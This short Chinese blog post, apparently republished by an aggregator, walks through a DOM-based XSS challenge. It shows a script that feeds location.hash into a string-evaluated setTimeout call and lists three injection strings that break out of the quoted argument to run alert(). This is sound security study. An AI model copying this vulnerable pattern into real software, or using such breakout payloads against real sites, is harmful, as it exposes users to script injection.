XSS之锚点

Posted 镜花水月

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS之锚点相关的知识,希望对你有一定的参考价值。

今天P师傅发了一个XSS链接,让利用一下,源码如下

<script type="text/javascript">

var x=location.hash;
function aa(x){};
setTimeout("aa(‘"+x+"‘)",100);

</script>

然后看了下setTimeout这个函数,用法如下:

语法

setTimeout(code,millisec)
参数描述
code 必需。要调用的函数后要执行的 JavaScript 代码串。
millisec 必需。在执行代码前需等待的毫秒数。

带入函数可以成功执行的几个函数如下:

setTimeout("aa(‘‘,alert(1),‘‘)",1000);
setTimeout("aa(‘‘,alert(2))//‘)",1000);    
setTimeout("aa(‘‘);alert(3);eval(‘‘)",1000);

 

以上是关于XSS之锚点的主要内容,如果未能解决你的问题,请参考以下文章